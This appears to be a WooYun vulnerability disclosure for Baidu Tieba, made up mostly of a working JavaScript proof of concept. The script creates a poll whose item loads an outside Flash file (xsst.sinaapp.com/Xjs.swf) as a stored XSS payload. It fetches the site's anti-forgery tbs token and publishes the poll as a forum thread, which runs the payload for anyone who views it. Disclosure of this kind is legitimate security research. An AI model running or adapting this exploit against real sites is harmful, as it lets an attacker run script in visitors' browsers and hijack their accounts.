WooYun.org

http://static.tieba.baidu.com/tb/flash/vote.swf?r=166486139965bce7156bc36762bb2c3edf&voteId=0e1e9a0f95d922fc978c0adf&tn=ajaxCanVote&stamp=1339767810003

<embed src="http://static.tieba.baidu.com/tb/flash/vote.swf?r=166486139965bce7156bc36762bb2c3edf&voteId=0e1e9a0f95d922fc978c0adf&tn=ajaxCanVote&stamp=1339767810003" allowscriptaccess="always" type="application/x-shockwave-flash"></embed>

<textarea id="t" style="width:100%;height:150px"></textarea>
	<input type="button" value="Post a Xss vote" onclick="ok()" />
	<script type="text/javascript">
		var config={
			"kw":"gainover",
			"id":"751341",
			"title":"Just test for fun"
		};
		//添加一个投票
		function addVote (){
			$("t").value+="添加投票中....\n";
			Net.post("http://tieba.baidu.com/vote/commit/add_vote?alt=json",{
				"product_name":"forum",
				"title":config.title,
				"expire_time":"2012-06-22 21:18:44",
				"item_type":"1",
				"max_select_num":"1",
				"perm":"0",
				"attr_key_1":"forum_name",
				"attr_value_1":config.kw,
				"attr_key_2":"forum_id",
				"attr_value_2":config.id, //gainover吧
				"item_title_1":"vote 1:"+$R(6,"ns"),
				"item_content_1":"http://xsst.sinaapp.com/Xjs.swf#1.gif",
				"item_title_2":"vote 2:"+$R(6,"ns"),
				"item_content_2":"http://imgsrc.baidu.com/forum/pic/item/b9d3efb1c21a60589a50274f.jpg",
				"item_title_3":"vote 3:"+$R(6,"ns"),
				"item_content_3":"http://imgsrc.baidu.com/forum/pic/item/b9d3efb1c21a60589a50274f.jpg",
				"ie":"utf-8"
			},function(rs){
				$("t").value+="添加投票成功\n";
				var vid=rs.vote_id;
				var sid=rs.sign_id;
				getTBS(function(rs){
					addVotePost(rs.tbs,vid,sid);
				});
			},"json");
		}
		//获得tbs
		function getTBS (callback){
			$("t").value+="获取tbs参数....\n";
			Net.get("http://tieba.baidu.com/dc/common/tbs?t="+Math.random(),function(rs){
				$("t").value+="添加tbs参数成功\n";
				if(callback){
					callback(rs);
				}
			},"json");
		}
		//添加一个投票贴
		function addVotePost (tbs,vid,sid){
			$("t").value+="发表投票贴中....\n";
			Net.post("http://tieba.baidu.com/f/commit/vote/add",{
				"kw":config.kw,
				"title":config.title,
				"content":"",
				"tid":"0",
				"floor_num":"0",
				"anonymous":"",
				"rich_text":"",
				"pic_url":"",
				"sign_id":"",
				"vcode":"",
				"fid":config.id,
				"vid_md5":vid+","+sid,
				"vcode_md5":"",
				"ie":"utf-8",
				"tbs":tbs
			},function(rs){
				if(rs.no==0&&rs.error==""){
					$("t").value+="发表带Xss的投票贴成功\n";
					addVoteRelation(rs.data.tid,vid,sid);
				}else{
					$("t").value+="addVotePost("+tbs+","+vid+","+sid+") 出错\n";
				}
			},"json");
		}
		//将投票贴与投票关联
		function addVoteRelation (tid,vid,sid){	//thread_id,vote_id,sign_id
			Net.post("http://tieba.baidu.com/vote/commit/add_vote_relation?alt=json",{
				"product_name":"forum",
				"id_1":tid,
				"id_2":config.id,
				"vote_id":vid,
				"sign_id":sid,
				"ie":"utf-8",
				"_":""
			},function(rs){
				$("t").value+="Complete, it's OK!!!";
			},"json");
		}
		function ok (){
			$("t").value="";
			addVote();
		}
	</script>